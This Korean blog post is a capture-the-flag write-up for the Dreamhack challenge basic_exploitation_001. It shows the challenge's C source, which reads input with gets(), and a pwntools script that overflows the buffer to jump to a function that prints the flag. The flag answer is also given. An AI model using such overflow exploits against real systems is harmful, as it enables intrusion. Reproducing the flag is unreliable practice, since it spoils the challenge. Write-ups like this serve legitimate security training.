본문 바로가기
시스템 해킹/드림핵

[Dreamhack] basic_exploitation_001

by L3m0n S0ju 2021. 4. 11.

 

 


 

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {
    char buf[0x80];
    initialize();
    gets(buf);
    return 0;
}

 


위 코드는 문제에서 주어진 코드이다. 해당 코드의 취약점은 gets라는 취약함 함수를 사용함에 문제가 있다. gets 함수는 입력값의 제한이 없으므로 main 함수의 ret에 read_flag 함수의 시작 주소를 덮어씌우면 플래그가 출력된다.

 

 


 

#!/usr/bin/python

 

from pwn import *

 

context.log_level='debug'

r=remote("host1.dreanhack.games",10074)

 

payload1=b"A"*132

payload2=p32(0x080485b9)

payload=payload1+payload2

 

r.send(payload)

r.interactive()

 


 

위 코드는 exploit 코드이다. payload2는 read_flag 함수의 주소 값으로 gdb에서 disas read_flag 명령어를 입력하면 해당 함수의 시작 주소를 알 수 있다.

 

 

 

 


플래그: DH{01ec06f5e1466e44f86a79444a7cd116}

'시스템 해킹 > 드림핵' 카테고리의 다른 글

[Dreamhack] Off_by_one_001  (0) 2021.05.07
[Dreamhack] basic_rop_x64  (0) 2021.05.05
[Dreamhack] basic_rop_x86  (1) 2021.05.03
[Dreamhack] off_by_one_000  (0) 2021.04.18
[Dreamhack] basic_exploitation_000  (0) 2021.04.06

댓글